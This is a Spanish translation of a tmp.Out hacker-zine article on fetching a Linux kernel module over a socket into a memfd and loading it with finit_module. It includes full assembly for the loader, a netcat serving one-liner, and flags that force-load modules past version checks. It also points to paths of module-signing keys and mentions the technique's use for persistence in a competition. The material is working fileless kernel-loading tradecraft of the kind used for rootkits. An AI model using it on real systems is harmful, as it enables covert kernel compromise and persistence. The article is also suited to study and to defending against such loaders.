┌───────────────────────┐ ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ │ │ █ █ █ █ █ █ │ │ █ █ █ █ █▀▀▀▀ │ │ █ █ █ █ ▄ │ │ ▄▄▄▄▄ │ │ █ █ │ │ █ █ │ │ █▄▄▄█ │ │ ▄ ▄ │ │ █ █ │ │ █ █ │ │ █▄▄▄█ │ │ ▄▄▄▄▄ │ │ █ │ Cargando módulos de kernel en memoria │ █ │ ~ netspooky └───────────────────█ ──┘ [ Traducción por @_eltuerto ] Debido a que algunos cambios al kernel de Linux el año pasado destruyeron la antigua metodología de x86_64 "binary golf", pensé que sería divertido platicar un poco acerca de una técnica para cargar módulos de kernel (LKM) desde fuentes remotas. Discutiremos dos syscalls útiles para su cargador de LKMs, así como de cosas a considerar cuando se usa esta metodología. ───[ Compilando un módulo de kernel ]─────────────────────────────────────────── Empecemos por compilar un módulo de kernel sencillo para probar. Todo lo que hace es imprimir un mensaje al buffer de anillo del kernel (se puede ver con el comando `dmesg`). // bang.c #include <linux/module.h> #include <linux/init.h> MODULE_LICENSE("GPL"); static int __init he(void) { printk(KERN_INFO"we out here :}\n"); return 0; } static void __exit le(void) { printk(KERN_INFO"we are no longer out here :{\n"); } module_init(he); module_exit(le); Un Makefile sencillo para compilarlo. obj-m += bang.o dir = $(shell uname -rm | sed -e 's/\s/\-/') all: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules strip: all strip bang.ko mkdir -p $(dir) cp -v bang.ko $(dir)/he.ko load: all sudo insmod bang.ko unload: sudo rmmod bang clean: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean Para compilar, sólo hay que correr `make`. Se inicia el servidor en el puerto 42000 con `cat bang.ko | nc -k -lvp 42000` ───[ El cargador ]────────────────────────────────────────────────────────────── El cargador que usaremos es relativamente simple, pero lo voy a explicar en detalle para que sirva de desarrollo para quienes están aprendiendo estas técnicas. Vamos a descargar este módulo a un archivo en memoria. Así que comencemos por crear un socket hacia nuestro servidor (127.0.0.1:42000) que sirva nuestro módulo de kernel. Después crearemos un archivo memfd para descargar el módulo deseado. La syscal memfd_create fue creada como una forma de tener archivos temporales que no están asociados a ningún sistema de archivos. Son una forma conveniente de escribir a un archivo que sólo existe por la duración del programa y da el beneficio de tener tanto la dirección de un archivo temporal como un descriptor de archivo. Podemos ver un ejemplo de un archivo memfd de /proc/self/fd/4 en: https://github.com/netspooky/golfclub/blob/master/linux/dl_memfd_219.asm#L100 Una vez que tenemos nuestro archivo memfd, leemos del buffer del socket del servidor remoto y lo escribimos a nuestro descriptor de archivo. Después de que el archivo se haya descargado a nuestro descriptor memfd, usamos la syscall finit_module para cargar el módulo de kernel usando este descriptor de archivo. ───[ kl.asm ]─────────────────────────────────────────────────────────────────── ;-- Descarga un módulo de kernel de 127.0.0.1:42000 a memoria y lo carga ---//-- ; __ __ . __ __ __ __ . . . configurar: ; | ||__||_ |__ |__|| || ||_/| | $ cat somekernelmodule.ko | nc -lvp 42000 ; | || | || |o ||o ||\ |__| compilar: ; | ||__ |__ __|| |__||__|| \ __| $ nasm -f elf64 kl.asm ; ld kl.o -o kl ;------------------------------------------------------------------------------- section .text global _start _start: ; socket ----------------------------------------------------------------------- ; Configuración del socket ; int socket(int domain, int type, int protocol); ; rdi = int domain ; rsi = int type ; rdx = int protocol ;------------------------------------------------------------------------------- push byte 0x29 ; Apila el número de la syscall socket pop rax ; RAX = socket syscall push byte 0x2 ; Push domain: AF_INET pop rdi ; RDI = AF_INET push byte 0x1 ; Apila el tipo: SOCK_STREAM pop rsi ; RSI = SOCK_STREAM cdq ; RDX = 0 syscall ; Ejecuta la syscall socket ; connect ---------------------------------------------------------------------- ; Nos conectamos a nuestro servidor para obtener el buffer del archivo ; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen); ; rdi = int sockfd ; rsi = const struct sockaddr *addr ; rdx = socklen_t addrlen ;------------------------------------------------------------------------------- xchg rdi, rax ; int sockfd mov rbx, rdi ; Guarda sockfd en rbx también para después mov dword [rsp-4], 0x100007F ; Nuestra IP = 127.0.0.1 mov word [rsp-6], 0x10A4 ; Nuestro Puerto = 42000 mov byte [rsp-8], 0x02 ; sockfd sub rsp, 8 ; Alineamiento push byte 0x2a ; Apila el número de la syscall connect pop rax ; RAX = connect syscall mov rsi, rsp ; const struct sockaddr *addr push byte 0x10 ; longitud pop rdx ; longitud -> rdx syscall ; Ejecuta la syscall connect ; memfd_create ----------------------------------------------------------------- ; Creamos un archivo virtual en donde guardar el buffer de nuestro socket. ; int memfd_create(const char *name, unsigned int flags); ; rdi = const char *pathname ; rsi = int flags ;------------------------------------------------------------------------------- mov ax, 0x13f ; El número de la syscall push 0x474e4142 ; Nombre de archivo BANG (GNAB aquí) mov rdi, rsp ; Arg0: El nombre del archivo xor rsi, rsi ; int flags syscall ; Ejecuta la syscall memfd_create ; read ------------------------------------------------------------------------- ; Leemos el buffer del socket a un buffer para guardarlo como un archivo local ; ssize_t read(socket sockfd,buf,len) ; rdi = int fd ; rsi = void *buf ; rdx = size_t count ;------------------------------------------------------------------------------- mov r9, rax ; Guarda el descriptor de archivo local mov rdx, 0x400 ; size_t count = 1024 bytes rwloop: mov rdi, rbx ; Almacena sockFD en RDI xor rax, rax ; 0 es la syscall read lea rsi, [rsp-1024] ; buffer para guardar la salida - arg1 *buf syscall ; Ejecuta la syscall read ; write ------------------------------------------------------------------------ ; Escribimos el buffer del socket a nuestro archivo local ; ssize_t sys_write(fd,*buf,count) ; rdi = int fd ; rsi = const *buf ; rdx = size_t count ;------------------------------------------------------------------------------- mov rdi, r9 ; Copia el descriptor desde nuestro archivo local mov rdx, rax ; RDX = # de bytes leídos, 0 es fin de archivo xor rax, rax ; RAX = 0 mov al, 1 ; Número de syscall syscall ; Ejecuta la syscall write cmp dx, 0x400 ; Verifica si todavía hay bytes para leer je rwloop ; Regresa al ciclo si los hay ; finit_module ----------------------------------------------------------------- ; Carga el módulo de kernel usando un descriptor de archivo ; int finit_module(int fd, const char *param_values, int flags); ; rdi = int fd - El descriptor de archivo ; rsi = const char *param_values ; rdx = int flags ;------------------------------------------------------------------------------- xor rax, rax ; RAX = 0 push rax ; param_values mov rsi, rsp ; RSI = *param_values mov rax, 0x139 ; Número de la syscall finit_module mov rdi, r9 ; int fd xor rdx, rdx ; int flags syscall ; Ejecuta la syscall finit_module ;--- Exit ---------------------------------------------------------------------- ; void exit(int status); ; rdi = int status ;------------------------------------------------------------------------------- mov rax, 0x3c ; Número de la syscall exit mov rdi, 0x45 ; Retorna 69 como chequeo de integridad syscall ; ¡Listo, terminado! ───[ Banderas para finit_module ]─────────────────────────────────────────────── La syscal finit_modules es una forma interesante de cargar un módulo de kernel en Linux. Normalmente la syscall init_module carga un módulo desde un puntero en memoria. La syscall finit_module carga un módulo de kernel desde un descriptor de archivo y también tiene formas únicas de alterar los chequeos hechos antes de cargar la imagen del módulo. NOTA: las banderas de finit_module sólo se pueden usar si el kernel fue compilado con la opción de permitir carga forzada. (Ver la siguiente sección con los detalles) Las banderas para alterar la funcionalidad están en include/uapi/linux/module.h, se les hace la operación OR y se pasan a la syscall en RDX. /* Banderas para sys_finit_module: */ #define MODULE_INIT_IGNORE_MODVERSIONS 1 #define MODULE_INIT_IGNORE_VERMAGIC 2 La bandera MODULE_INIT_IGNORE_MODVERSIONS ignora los hashes de los símbolos de versionamiento y la bandera MODULE_INIT_IGNORE_VERMAGIC ignora el número mágico de la versión del kernel en el módulo. Estas dos banderas pueden ser usadas para forzar la carga del módulo en el kernel. De otra forma hubiera sido rechazado. ¡Esto puede causar comportamiento indefinido y provocar una falla en el kernel, así que deben ser usadas con cautela! finit_module describe esta funcionalidad como: ..útil cuando la autenticidad de un módulo de kernel puede ser determinada por su ubicación en el sistema de archivos. En los casos en que esto es posible, el costo adicional de utilizar módulos criptográficamente firmados para determinar su autenticidad puede ser eliminado. - man 2 finit_module ───[ Determinando la compatibilidad ]─────────────────────────────────────────── Lo complicado de cargar módulos de kernel en general es que hay muchas configuraciones que pueden permitir o no ciertos tipos de módulos, o distintas formas de cargarlos. Estas son algunas de las banderas de configuración que hay que conocer antes de cargar un módulo. ::: CONFIG_MODVERSIONS ::: Si se especifica (ej. CONFIG_MODVERSIONS=y) entonces se pueden cargar módulos compilados para versiones de kernel distintas. Para verificar: $ grep CONFIG_MODVERSIONS /boot/config-VERSIONDELKERNEL CONFIG_MODVERSIONS=y Más información: https://cateee.net/lkddb/web-lkddb/MODVERSIONS.html ::: CONFIG_MODULE_SIG_FORCE ::: Si se especifica entonces no se pueden cargar módulos sin firma. Para verificar: $ grep CONFIG_MODULE_SIG_FORCE /boot/config-VERSIONDELKERNEL # CONFIG_MODULE_SIG_FORCE is not set Más información: https://cateee.net/lkddb/web-lkddb/MODULE_SIG_FORCE.html PROTIP: Se pueden enumerar las llaves confiables en el sistema dependiendo del sistema que se esté utilizando. Ejemplos: /var/lib/shim-signed/mok/MOK.priv & /var/lib/shim-signed/mok/MOK.der /usr/src/LINUX/certs/signing_key.pem & /usr/src/LINUX/certs/signing_key.x509 ::: CONFIG_MODULE_FORCE_LOAD ::: Si se especifica entonces se permite cargar módulos sin información de versionamiento. Este debe especificarse si se pretenden utilizar las banderas de finit_module. Si no se especifica y se utilizan las banderas para alterar el comportamiento, fallará con el error ENOEXEC. Para verificar: $ grep CONFIG_MODULE_FORCE_LOAD /boot/config-VERSIONDELKERNEL # CONFIG_MODULE_FORCE_LOAD is not set Más información: https://cateee.net/lkddb/web-lkddb/MODULE_FORCE_LOAD.html ───[ .fini ]──────────────────────────────────────────────────────────────────── Hemos utilizado esta técnica para hacer golfeo de módulos de kernel y probar el cargador. También fue utilizado en el WRCCDC en forma de un "one-liner" que fue útil para establecer persistencia en varias máquinas configuradas de la misma manera. Este es sólo uno de tantos ejemplos para cargar un módulo de kernel. ¡Hay mucho más por explorar y espero que esto les inspire a curiosear! Un saludo a todos en tmp.Out, thugcrowd, vxug, tcpd P.D. ¡Esperen un nuevo artículo acerca de "mangling" de binarios ELF en las próximas ediciones de tmp.Out!